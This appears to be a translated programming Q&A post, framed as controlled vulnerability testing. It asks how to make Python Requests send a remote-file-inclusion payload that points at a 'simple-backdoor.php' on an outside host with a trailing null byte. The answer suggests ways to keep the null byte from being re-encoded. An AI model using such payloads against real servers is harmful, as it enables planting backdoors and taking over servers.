Requests在不需要时编码POST参数
请注意,下面的代码片段是用于在一个受控环境中进行远程文件包含漏洞测试(这里并没有做任何恶意的事情)。
我想向一个网址发送一个POST请求:
resp = requests.post("http://example.com/test/index.php",data=post_data,cookies=cookie,proxies=proxies,config={'encode_uri': False})
其中一个数据参数是一个网址,用于文件包含,最后面有一个空字节:
http://mysite.org/simple-backdoor.php%00
但是请求所做的事情是重新编码了最后的空字节,这样就没用了。
http%3A%2F%2Fmysite.org%2Fsimple-backdoor.php%2500
我尝试添加 config={'encode_uri': False})
,但这导致了相同的结果。有没有人知道怎么禁用这种编码,或者怎么引入一个空字节字符,使其被编码为 %00?
1 个回答
2
从Requests版本2.0.0开始,它不再支持encode_uri
这个功能。如果数据不是字符串,它会尝试对数据进行编码。
你可以用一个unicode的空字节来代替%00,或者手动对data
的每个部分进行编码,然后把data
作为字符串来处理。